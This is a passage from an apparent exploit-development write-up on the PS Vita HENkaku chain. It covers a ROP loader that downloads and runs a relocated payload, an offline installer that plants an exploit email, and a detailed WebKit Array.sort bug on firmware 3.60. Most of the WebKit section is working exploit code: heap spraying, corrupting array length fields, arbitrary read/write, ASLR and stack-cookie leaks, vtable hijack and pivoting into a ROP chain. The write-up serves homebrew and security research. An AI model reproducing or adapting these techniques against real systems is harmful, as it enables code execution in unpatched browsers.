	sceHttpCreateRequestWithURL(&return, 0, download_url, 0, 0, 0);
	store(&return, http_uid);
	sceHttpSendRequest([http_uid], 0, 0);
	sceHttpReadData([http_uid], [stack_base], stack_size);

	// prepare args for LDM gadget
	store([stack_base], ldm_buf+5*4);
	store(pop_pc, ldm_buf+6*4);

	// start second thread
	sceKernelStartThread([thread_id], 7 * 4, ldm_buf);

	sceKernelWaitThreadEnd([thread_id], 0, 0);
}

It’s written in ROPTool language. ROPTool in its original form basically allowed you to chain multiple function calls. However, the new version is much more powerful yet the new features aren’t actually used in the HENkaku exploit chain.

I also used GCC preprocessor to allow for stuff like #include and build-time ifs: #if DEBUG #else #endif,

On the go.henkaku.xyz side there’s a tiny Go server running which generates relocated payloads for your provided base addresses.

Now, once the loader has downloaded the relocated payload, it pivots the newly created thread to it.

Unfortunately, this method requires internet connection or another device running the ROP relocator for Vita to use. Can we do better?

Offline HENkaku target

Initially I tried to inject HENkaku code into web browser bookmark using the javascript: URL scheme. However, this method did not work, as there seemed to be a fairly low length limit.

The next choice was the Email app. We already knew it executed all JavaScript that came in HTML emails (right? after all, that’s what I’d expect an email app to do – execute JavaScript in emails).

So the idea was to make a homebrew application that would insert a new account into the Email app and “preload” an exploit email. Then the user can still use the Email app if they used it before (bad idea IMO).

The email app database is stored in a SQLite file. After porting SQLite to Vita and injecting the HTML email we still have to deal with ROP chain relocations.

One approach was to just stuff the whole exploit into JS payload and reloc arrays. Which, again, would bring success rate to about 30%. Unacceptable.

The other idea was to relocate ROP using ROP. This would allow to keep the JS payload small (resulting in high success rate) while keeping the exploit offline. Perfect.

ROP relocating ROP

In the end I had to write a loop in ROP that relocates another ROP chain and then jumps to it and, honestly, this sucked. The final ROP chain for relocations looks like this.

The simplified relocatable ROP chain is stored in memory as follows. First, the size in words is determined at build time and hardcoded into the loader .rop script. The ROP binary itself is stored on filesystem as size words followed by size relocs (a word is 4 bytes, a reloc is 1 byte).

The script makes use of the following variables:

index: Current index of the loop
stored: A temporary location in memory
rop_base: A location in memory that stores base address of the ROP chain
bases: Pointer to the bases. What’s bases? Remember that every relocation is an uint8_t number. Bases is an array of offsets that you need to apply to the ROP chain to relocate it. It works this way:

// This array is initialized inside the loader ROP chain
bases[0] = 0
bases[1] = SceWebKit_base
bases[2] = SceLibKernel_base
// ...

// then, inside the loop:
rop[i] += bases[relocs[i]]

Here’s the implementation in pseudo code:

Step 1: Load current reloc addr from memory

r0 = [index]
r0 += 4 * rop_size_words
r0 += [rop_base]

Step 2: Load current reloc base and store to tmp mem

r0 = ldrb[r0] * 4
r0 += bases_base
r0 = ldr[r0]
[stored] = r0

Step 3: Load current code word

r0 = [index] * 4
r0 += [rop_base]

Step 4: Add current reloc to code word (perform the relocation)

r0 += [stored]
[stored] = r0

Step 5: Store relocated code word back into the ropchain

r0 = [index] * 4
r0 += [rop_base]
[r0] = [stored]

Step 6: Increment current index

[index] += 1

Step 7: Exit the loop if we’ve relocated everything, otherwise loop

This is the hardest part. I used this gadget to perform cmp:

ROM:82340F8C                 CMP             R0, R4
ROM:82340F8E                 BNE             loc_82340F94
ROM:82340F90                 MOVS            R0, #1
ROM:82340F92                 B               locret_82340F96
ROM:82340F94                 MOVS            R0, #0
ROM:82340F96                 POP             {R4-R6,PC}

Pass arguments in R0 and R4. If they are equal, the result in R0 is 1, otherwise 0.

Now how do we loop? For a ROP chain SP is incremented as we progress through it: on our platform (and on most platforms) a pop instruction increments SP, a push instruction decrements it. In our simple case, it’s enough to just subtract a constant value from SP in order to loop.

This is not always the case. Remember that a ROP chain that calls functions is destructive. A function call will push something to the stack. This will destroy an “older” part of the ropchain. However, inside my loop I don’t call any functions. So the ROP chain is safe.

So what I do is:

r0 = cmp([index], rop_size_in_words)

now r0 is 1 if we’ve relocated everything, 0 otherwise

r0 -= 1

now r0 is -1 when we want to loop, 0 otherwise

r0 *= sp_loop_offset

if it was 0 it’s still 0, otherwise a negative offset that we add to sp to loop

r0 += constant_value

this is required due to how we fetch old sp value

r0 += sp
sp = r0

we will either loop here, or exit

Now that the ROP chain is relocated properly, just jump to it and execute the original HENkaku exploit.

One more thing

We still need to load the second stage from within the first stage. However, the WebKit inside the Email app is sandboxed. It cannot access most of filesystem. Thankfully, one location we can write to, photo0:, is accessible. This is just an alias for ux0:picture.

So what we need to do in the Offline Installer:

Create new email account
Add new HTML email to it
Drop exploit HTML to ux0:email/message/00/00/exploit.html. This HTML will be loaded when you open the email.
Drop second stage relocatable ROP chain to ux0:picture/henkaku.bin. This will be loaded by the first stage ROP chain from photo0:henkaku.bin.

You can check out offlineInstaller code here.

That’s it.

Exploiting WebKit on Vita 3.60

Thu, 18 Aug 2016 13:37:00 -0400

Intro

This starts the series of writeups for the HENkaku exploit chain. I’ll try not to spoil the KOTH challenge too much and only write up the parts that have already been reverse engineered, clarifying the details that other people have missed. However, in the case that the challenge becomes stale and no progress is made, I’ll probably publish the writeup anyway, lest it rots in the repo.

The PoC

WebKit is our favorite target of choice for user-mode code execution. While bypassing ASLR without scripting is possible in some cases, the JavaScript engine trivializes it. The web browser on the Vita also does not require the user to be logged into PSN and it does not auto-update. From the perspective of an end user, installing the hack is as simple as visiting a website and clicking a button. Simply put, it’s the perfect way to deliver an exploit.

Unlike on the 3DS, which has no ASLR whatsoever, Vita’s WebKit has an acceptable one providing an entropy of 9 bits. This makes brute-force attacks on ASLR extremely painful: 256 reloads on average to trigger the exploit. We need a better vulnerability than a generic use-after-free + vptr overwrite (aka spray-and-pray).

Thanks to some people who prefer to be unnamed, I’ve managed to obtain a nice PoC script crashing Vita’s browser on the latest (at the time) firmware. Interestingly, I was unable to find any information about this bug on the internet or in the public WebKit bugzilla and repo, though it might have been restricted.

So what I started with was this script:

var almost_oversize = 0x3000;
var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize));
var o = {};
o.toString = function () { foo.push(12345); return ""; }
foo[0] = 1;
foo[1] = 0;
foo[2] = o;
foo.sort();

If you run it on a Linux host using Sony’s WebKit, you will see a segmentation fault. Let’s look at it in the debugger:

Thread 1 "GtkLauncher" received signal SIGSEGV, Segmentation fault.
0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
152	        m_value = JSValue::encode(value);
(gdb) bt
#0  0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
#1  0x00007ffff32cb9bf in JSC::ContiguousTypeAccessor<(unsigned char)27>::setWithValue (vm=..., thisValue=0x7fff9911ff60, data=..., i=0, value=...) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1069
#2  0x00007ffff32c8809 in JSC::JSArray::sortCompactedVector<(unsigned char)27, JSC::WriteBarrier<JSC::Unknown> > (this=0x7fff9911ff60, exec=0x7fff9d6e8078, data=..., relevantLength=3)
    at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1171
#3  0x00007ffff32c4933 in JSC::JSArray::sort (this=0x7fff9911ff60, exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1214
#4  0x00007ffff329c844 in JSC::attemptFastSort (exec=0x7fff9d6e8078, thisObj=0x7fff9911ff60, function=..., callData=..., callType=@0x7fffffffbfb4: JSC::CallTypeNone)
    at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623
#5  0x00007ffff329db4c in JSC::arrayProtoFuncSort (exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:697

<the rest does not matter>

Turns out, it hits unmapped memory while executing JavaScript Array.sort function. But what’s going on here?

The bug

Let’s take a look at the JSArray::sort method (Source/JavaScriptCore/runtime/JSArray.cpp). Notice how the PoC creates the array:

var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize));

This makes an array of type ArrayWithContiguous. That’s why we get into the sortCompactedVector function. The full implementation of the function is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
template<IndexingType indexingType, typename StorageType>
void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
{
    if (!relevantLength)
        return;
    
    VM& vm = exec->vm();

    // Converting JavaScript values to strings can be expensive, so we do it once up front and sort based on that.
    // This is a considerable improvement over doing it twice per comparison, though it requires a large temporary
    // buffer. Besides, this protects us from crashing if some objects have custom toString methods that return
    // random or otherwise changing results, effectively making compare function inconsistent.
        
    Vector<ValueStringPair, 0, UnsafeVectorOverflow> values(relevantLength);
    if (!values.begin()) {
        throwOutOfMemoryError(exec);
        return;
    }
        
    Heap::heap(this)->pushTempSortVector(&values);
        
    bool isSortingPrimitiveValues = true;

    for (size_t i = 0; i < relevantLength; i++) {
        JSValue value = ContiguousTypeAccessor<indexingType>::getAsValue(data, i);
        ASSERT(indexingType != ArrayWithInt32 || value.isInt32());
        ASSERT(!value.isUndefined());
        values[i].first = value;
        if (indexingType != ArrayWithDouble && indexingType != ArrayWithInt32)
            isSortingPrimitiveValues = isSortingPrimitiveValues && value.isPrimitive();
    }
        
    // FIXME: The following loop continues to call toString on subsequent values even after
    // a toString call raises an exception.
        
    for (size_t i = 0; i < relevantLength; i++)
        values[i].second = values[i].first.toWTFStringInline(exec);
        
    if (exec->hadException()) {
        Heap::heap(this)->popTempSortVector(&values);
        return;
    }
        
    // FIXME: Since we sort by string value, a fast algorithm might be to use a radix sort. That would be O(N) rather
    // than O(N log N).
        
#if HAVE(MERGESORT)
    if (isSortingPrimitiveValues)
        qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
    else
        mergesort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#else
    // FIXME: The qsort library function is likely to not be a stable sort.
    // ECMAScript-262 does not specify a stable sort, but in practice, browsers perform a stable sort.
    qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#endif
    
    // If the toString function changed the length of the array or vector storage,
    // increase the length to handle the orignal number of actual values.
    switch (indexingType) {
    case ArrayWithInt32:
    case ArrayWithDouble:
    case ArrayWithContiguous:
        ensureLength(vm, relevantLength);
        break;
        
    case ArrayWithArrayStorage:
        if (arrayStorage()->vectorLength() < relevantLength) {
            increaseVectorLength(exec->vm(), relevantLength);
            ContiguousTypeAccessor<indexingType>::replaceDataReference(&data, arrayStorage()->vector());
        }
        if (arrayStorage()->length() < relevantLength)
            arrayStorage()->setLength(relevantLength);
        break;
        
    default:
        CRASH();
    }

    for (size_t i = 0; i < relevantLength; i++)
        ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
    
    Heap::heap(this)->popTempSortVector(&values);
}

This function takes the values from the JS array, puts them into a temporary vector, sorts the vector, and then puts the values back into the JS array. Seems simple enough, right?

Because JavaScript arrays can contain different types of elements, the code normalizes them to some common type, which happens to be String in this case. By the way, if you’re not familiar with JS, this is how the spec defines it, so that when you do:

[1, 2, 3, 10, 20, 30].sort()

you get an

Array(6) [ 1, 10, 2, 20, 3, 30 ]

Back to the code snippet, on line 37 in the for loop, it calls the toWTFStringInline method for every element. For our custom object o, this would call the toString method implemented in JS:

o.toString = function () { foo.push(12345); return ""; }

This pushes an integer into the array that is being sorted. If the array’s run out of its internal capacity, this also causes the array elements to get reallocated!

On the line 81 the sorted elements are written back into the array. However, the data pointer is never updated with the new value after the reallocation. To illustrate it:

The grey area here is free or unallocated memory. On Linux it is actually unmapped after realloc is called. Since the data still points at the old memory location, the web browser gets a segmentation fault when trying to write to unmapped memory.

Out-of-bounds RW

Depending on the contents, JSArray objects might be stored differently in memory. The ones we are operating on, however, are stored continuously as the metadata header (in yellow) plus array contents (in green).

The array contents are just a vector of JSValue structures, defined as:

union EncodedValueDescriptor {
    int64_t asInt64;
    double asDouble;
    struct {
        int32_t payload;
        int32_t tag;
    } asBits;
};

The metadata header stores two interesting fields:

// The meaning of this field depends on the array type, but for all JSArrays
// we rely on this being the publicly visible length (array.length).
uint32_t m_publicLength;
// The length of the indexed property storage. The actual size of the storage
// depends on this, and the type.
uint32_t m_vectorLength;

Our goal now is to overwrite both of them and “extend” the array beyond what’s actually allocated. To achieve that, let’s modify the o.toString method:

var normal_length = 0x800;
var fu = new Array(normal_length);
var arrays = new Array(0x100);
o.toString = function () {
	foo.push(12345);
	for (var i = 0; i < arrays.length; ++i) {
		var bar = Array.prototype.constructor.apply(null, fu);
		bar[0] = 0;
		bar[1] = 1;
		bar[2] = 2;
		arrays[i] = bar;
	}
	return "";
}

If we get lucky, here’s what happens:

In this example, when the sorted values are written back using the data pointer, the metadata headers of both second and third bar get overwritten.

What do we overwrite them with? Remember that the green area is the vector of JSValue objects. Every JSValue object is 8 bytes. But if we fill foo with, for example, 0x80000000, we only control 4 bytes, and the rest is used up for the tag. What’s a tag? Let’s take a look:

enum { Int32Tag =        0xffffffff };
enum { BooleanTag =      0xfffffffe };
enum { NullTag =         0xfffffffd };
enum { UndefinedTag =    0xfffffffc };
enum { CellTag =         0xfffffffb };
enum { EmptyValueTag =   0xfffffffa };
enum { DeletedValueTag = 0xfffffff9 };

enum { LowestTag =  DeletedValueTag };

The tag is how WebKit’s JavaScriptCore packs different types of values into a single JSValue structure: it can be an int, a boolean, a cell (which is a pointer to an object), null, undefined, or a double. So if we write 54321, we only control half of the structure, and the other half is set to Int32Tag or 0xffffffff.

However, we can also write double values such as 54321.0! This way we control all 8 bytes of the structure, though there are some minor limitations.

Sidenote: Some floating-point normalization stuff implemented in WebKit does not allow for truly arbitrary values to be written. Otherwise, even without any vulnerabilities present you would be able to craft a CellTag and set its pointer to an arbitrary location. That would be really bad! Actually, it used to allow that, which is how the very first Vita WebKit exploit worked: CVE-2010-1807.

So let’s write double values instead:

foo[0] = o;
var len = u2d(0x80000000, 0x80000000);
for (var i = 1; i < 0x2000; ++i)
	foo[i] = len;
foo.sort();

u2d/d2u are small helpers to convert between a pair of int and a double:

var _dview = null;
// u2d/d2u taken from PSA-2013-0903
// wraps two uint32s into double precision
function u2d(low,hi)
{
	if (!_dview) _dview = new DataView(new ArrayBuffer(16));
	_dview.setUint32(0,hi);
	_dview.setUint32(4,low);
	return _dview.getFloat64(0);	
}

function d2u(d)
{
	if (!_dview) _dview = new DataView(new ArrayBuffer(16));
	_dview.setFloat64(0,d);
	return { low: _dview.getUint32(4), 
	         hi:  _dview.getUint32(0) };    
}

If we get lucky, inside arrays we will now find a few JSArray objects that are extended beyond their real boundary and have their length set to 0x80000000.

Interestingly, this successfully corrupts a JSArray object on the Vita but crashes on Linux hitting a guard page. But this doesn’t matter because we’re not exploiting Linux.

Now when we write to one of the corrupted bar objects, we can achieve an out-of-bounds read/write which is awesome! But let’s upgrade it to a truly arbitrary RW so that we’re not constrained to writing double values converted through u2d.

Arbitrary RW

To obtain an arbitrary read/write primitive, I used the same trick as used by the 2.00-3.20 WebKit exploit, described here.

First, spray a bunch of buffers:

buffers = new Array(spray_size);
buffer_len = 0x1344;
for (var i = 0; i < buffers.length; ++i)
	buffers[i] = new Uint32Array(buffer_len / 4);

Then, find a Uint32Array buffer in memory and patch its buffer size and offset fields. Start searching at some arbitrary offset before the corrupted buffer’s (called arr here) elements.

var start = 0x20000000-0x11000;
for(;; start--) {
	if (arr[start] != 0) {
		_dview.setFloat64(0, arr[start]);
		if (_dview.getUint32(0) == buffer_len / 4) { // Found Uint32Array
			_dview.setUint32(0, 0xEFFFFFE0);
			arr[start] = _dview.getFloat64(0); // change buffer size

			_dview.setFloat64(0, arr[start-2]);
			heap_addr = _dview.getUint32(4); // leak some heap address
			_dview.setUint32(4, 0)
			_dview.setUint32(0, 0x80000000);
			arr[start-2] = _dview.getFloat64(0); // change buffer offset
			break;
		}
	}
}

Finally, find the Uint32Array we’ve corrupted in the last step:

corrupted = null;
for (var i = 0; i < buffers.length; ++i) {
	if (buffers[i].byteLength != buffer_len) {
		corrupted = buffers[i];
		break;
	}
}
var u32 = corrupted;

Done! We now have a completely arbitrary RW, and we have leaked some heap address.

Code execution

We’re not done until we can execute code inside the browser process. Again, the old trick with textarea objects is used here. First, let’s modify the original Uint32Array heap spray to interleave textarea objects:

spray_size = 0x4000;

textareas = new Array(spray_size);
buffers = new Array(spray_size);
buffer_len = 0x1344;
textarea_cookie = 0x66656463;
textarea_cookie2 = 0x55555555;
for (var i = 0; i < buffers.length; ++i) {
	buffers[i] = new Uint32Array(buffer_len / 4);
	var e = document.createElement("textarea");
	e.rows = textarea_cookie;
	textareas[i] = e;
}

Using the corrupted Uint32Array object, find a textarea in memory:

var some_space = heap_addr;
search_start = heap_addr;

for (var addr = search_start/4; addr < search_start/4 + 0x4000; ++addr) {
	if (u32[addr] == textarea_cookie) {
		u32[addr] = textarea_cookie2;
		textarea_addr = addr * 4;
		break;
	}
}

/*
	Change the rows of the Element object then scan the array of
	sprayed objects to find an object whose rows have been changed
*/
var found_corrupted = false;
var corrupted_textarea;
for (var i = 0; i < textareas.length; ++i) {
	if (textareas[i].rows == textarea_cookie2) {
		corrupted_textarea = textareas[i];
		break;
	}
}

Now we have two “views” into the same textarea object: we can modify it directly in memory using our u32 object, and we can call its functions from JavaScript. So the idea is to overwrite its vptr using u32 and then call the modified function through JavaScript.

Mitigation 1: ASLR

Remember that Vita has ASLR, which is why the exploit is more complicated than it could’ve been. But with arbitrary RW it doesn’t even matter: we can just leak textarea’s’ vptr and defeat ASLR completely:

function read_mov_r12(addr) {
    first = u32[addr/4];
    second = u32[addr/4 + 1];
    return ((((first & 0xFFF) | ((first & 0xF0000) >> 4)) & 0xFFFF) 
        | ((((second & 0xFFF) | ((second & 0xF0000) >> 4)) & 0xFFFF) << 16)) >>> 0;
}

var vtidx = textarea_addr - 0x70;
var textareavptr = u32[vtidx / 4];

SceWebKit_base = textareavptr - 0xabb65c;
SceLibc_base = read_mov_r12(SceWebKit_base + 0x85F504) - 0xfa49;
SceLibKernel_base = read_mov_r12(SceWebKit_base + 0x85F464) - 0x9031;
ScePsp2Compat_base = read_mov_r12(SceWebKit_base + 0x85D2E4) - 0x22d65;
SceWebFiltering_base = read_mov_r12(ScePsp2Compat_base + 0x2c688c) - 0x9e5;
SceLibHttp_base = read_mov_r12(SceWebFiltering_base + 0x3bc4) - 0xdc2d;
SceNet_base = read_mov_r12(SceWebKit_base + 0x85F414) - 0x23ED;
SceNetCtl_base = read_mov_r12(SceLibHttp_base + 0x18BF4) - 0xD59;
SceAppMgr_base = read_mov_r12(SceNetCtl_base + 0x9AB8) - 0x49CD;

Back to the actual code execution. On the Vita there’s no JIT and it’s not possible to allocate RWX memory. In fact, you can’t even mark memory pages as executable, which means we have to write the whole kernel exploit (the next stage of HENkaku) in ROP.

The old exploits used something called JSoS which is described here. However, in our case the browser becomes really unstable after corrupting the JSArray object, so we want to run as little JavaScript as possible.

As a result, a new version of roptool was written by Davee which supported ASLR. The basic idea here is that some words (a word is 4 bytes) in roptool output now have relocation information assigned to them. After relocating the payload, which is just adding different bases (SceWebKit_base/SceLibc_base/etc) to these words, we can launch the resulting ROP chain normally.

Mitigation 2: Stack-pivot protection

Since an unknown firmware version, there is now an additional mitigation implemented: sometimes the kernel will check that your thread stack pointer is in fact inside its stack. If this is not the case, the whole application gets killed.

To bypass this, we need to plant our ROP chain into the thread’s real stack. To do that, we need to know its virtual address which is randomized because of ASLR.

However, we have arbitrary RW! There’s a ton of ways to leak the stack pointer. For example, I used the setjmp function. Here’s how we’ll call it:

// copy vtable
for (var i = 0; i < 0x40; i++)
	u32[some_space / 4 + i] = u32[textareavptr / 4 + i];

u32[vtidx / 4] = some_space;

// backup our obj
for (var i = 0; i < 0x30; ++i)
	backup[i] = u32[vtidx/4 + i];

// call setjmp and leak stack base
u32[some_space / 4 + 0x4e] = SceLibc_base + 0x14070|1; // setjmp
corrupted_textarea.scrollLeft = 0; // call setjmp

Now our corrupted_textarea is overwritten in memory with jmp_buf, which has to include the stack pointer somewhere. Later, we restore the original contents as follows. (This is done so that JavaScript does not crash the browser when we attempt to do anything else with the corrupted textarea object.)

// restore our obj
for (var i = 0; i < 0x30; ++i)
	u32[vtidx/4 + i] = backup[i];

Unfortunately, if we look at the setjmp implementation in SceLibc, we get hit with yet another exploit mitigation:

ROM:81114070 setjmp
ROM:81114070                 PUSH            {R0,LR}
ROM:81114072                 BL              sub_81103DF2 // Returns a high-quality random cookie
ROM:81114076                 POP             {R1,R2}
ROM:81114078                 MOV             LR, R2
ROM:8111407A                 MOV             R3, SP
ROM:8111407C                 STMIA.W         R1!, {R4-R11}
ROM:81114080                 EORS            R2, R0 // LR is XOR'ed with a cookie
ROM:81114082                 EORS            R0, R3 // SP is XOR'ed with the same cookie
ROM:81114084                 STMIA           R1!, {R0,R2}
ROM:81114086                 VSTMIA          R1!, {D8-D15}
ROM:8111408A                 VMRS            R2, FPSCR
ROM:8111408E                 STMIA           R1!, {R2}
ROM:81114090                 MOV.W           R0, #0
ROM:81114094                 BX              LR

The important part in pseudocode is:

stored_LR = LR ^ cookie
stored_SP = SP ^ cookie

I’m sure you can see where this is going. We already know SceWebKit_base, so we know the actual value of LR. Using some simple math:

cookie = stored_LR ^ LR
SP = stored_SP ^ cookie
SP = stored_SP ^ (stored_LR ^ LR)

Or, in JavaScript:

sp = (u32[vtidx/4 + 8] ^ ((u32[vtidx/4 + 9] ^ (SceWebKit_base + 0x317929)) >>> 0)) >>> 0;
sp -= 0xef818; // adjust to get SP base

Now we can write our ROP payload into the thread stack and pivot to it without the application being killed!

Finally, Code Execution

Remember the part about ROPtool implementing relocations. This means that we need to relocate the ROP payload before it can be executed. If you look at payload.js, this is what you will see:

payload = [2119192402,65537,0,0,1912    // and it goes on...
relocs = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,  // ...

Every number from the relocs array indicates how the corresponding member of the payload array should be relocated. For example, 0 means no relocation, 1 is to add rop_data_base, 2 is to add SceWebKit_base, 3 is to add SceLibKernel_base and so on.

(A roptool-generated ROP chain has two sections: code and data. code is just the ROP stack. data is stuff like strings or buffers that we use in the actual kernel exploit. rop_data_base is vaddr of data. rop_code_base is vaddr of code.)

The next loop relocates the payload straight into the thread stack:

// relocate the payload
rop_data_base = sp + 0x40;
rop_code_base = sp + 0x10000;

addr = sp / 4;
// Since relocs are applied to the whole rop binary, not just code/data sections, we replicate
// this behavior here. However, we split it into data section (placed at the top of the stack)
// and code section (placed at stack + some big offset)
for (var i = 0; i < payload.length; ++i, ++addr) {
	if (i == rop_header_and_data_size)
		addr = rop_code_base / 4;

	switch (relocs[i]) {
	case 0:
		u32[addr] = payload[i];
		break
	case 1:
		u32[addr] = payload[i] + rop_data_base;
		break;
	/*
		skipped most relocs
	*/
	default:
		alert("wtf?");
		alert(i + " " + relocs[i]);
	}
}

In this loop we split the payload into two parts: code and data sections. We don’t want the code to touch the data because if the code is located right after the data (which is the case for roptool-generated ROP chains), when a function is called, it might damage a part of the data section. Remember that the ROP chain is executed from “top” to “bottom” and the stack (usually, and is the case on Vita) grows from “bottom” to “top”.

Once we’re done relocating the data section: if (i == rop_header_and_data_size), we switch to relocating the code section: addr = rop_code_base / 4.

On the left is how the ROP chain looks like while it’s stored in the payload array. On the right is how the ROP chain is written into the stack.

Finally, let’s trigger the ROP chain:

// 54c8: e891a916 ldm r1, {r1, r2, r4, r8, fp, sp, pc}
u32[some_space / 4 + 0x4e] = SceWebKit_base + 0x54c8;

var ldm_data = some_space + 0x100;
u32[ldm_data/4 + 5] = rop_code_base;              // sp
u32[ldm_data/4 + 6] = SceWebKit_base + 0xc048a|1; // pc = pop {pc}

// This alert() is used to distinguish between the webkit exploit fail
// and second stage exploit fail
// - If you don't see it, the webkit exploit failed
// - If you see it and then the browser crashes, the second stage failed
alert("Welcome to HENkaku!");

corrupted_textarea.scrollLeft = ldm_data;         // trigger ropchain, r1=arg

// You won't see this alert() unless something went terribly wrong
alert("that's it");

When corrupted_textarea.scrollLeft = ldm_data is done, our LDM gadget will get called. R1 will be ldm_data, so it will load SP = rop_code_base and PC = pop {pc} from this buffer and as such will kick off the ROP chain!

Bonus: How Sony patched it

Sony regularly uploads new source code of their WebKit version, as required by LGPL, to this page. (Unless they don’t, in which case a friendly poke over email helps.)

Diffing the source code between 3.60 and 3.61 reveals the following (useless stuff omitted):

diff -r 360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 361/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp
1087,1096c1087,1123
-     }
- };
- 
- 
- template<IndexingType indexingType, typename StorageType>
- void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
- {
-     if (!relevantLength)
-         return;
-     
---
+     }
+ };
+ 
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithInt32, WriteBarrier<Unknown> >()
+ {
+     return m_butterfly->contiguousInt32();
+ }
+ 
+ template <>
+ ContiguousDoubles JSArray::storage<ArrayWithDouble, double>()
+ {
+     return m_butterfly->contiguousDouble();
+ }
+ 
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithContiguous, WriteBarrier<Unknown> >()
+ {
+     return m_butterfly->contiguous();
+ }
+ 
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithArrayStorage, WriteBarrier<Unknown> >()
+ {
+     ArrayStorage* storage = m_butterfly->arrayStorage();
+     ASSERT(!storage->m_sparseMap);
+     return storage->vector();
+ }
+ 
+ template<IndexingType indexingType, typename StorageType>
+ void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
+ {
+     data = storage<indexingType, StorageType>();
+ 
+     if (!relevantLength)
+         return;
+     
1167,1172c1194,1200
-         CRASH();
-     }
- 
-     for (size_t i = 0; i < relevantLength; i++)
-         ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
-     
---
+         CRASH();
+     }
+ 
+     data = storage<indexingType, StorageType>();
+     for (size_t i = 0; i < relevantLength; i++)
+         ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
+   

They now update the data pointer before writing values into it! This means that even after the array gets reallocated, the function will still be writing to the right memory location. This is what causes the alert("restart the browser") error if you attempt to run HENkaku on 3.61. Good job, Sony!

Conclusion

That’s it for today! I hope you’ve enjoyed this writeup as much as I loved writing the exploit. Later, I’ll bring you more HENkaku writeups, so you better look forward to it.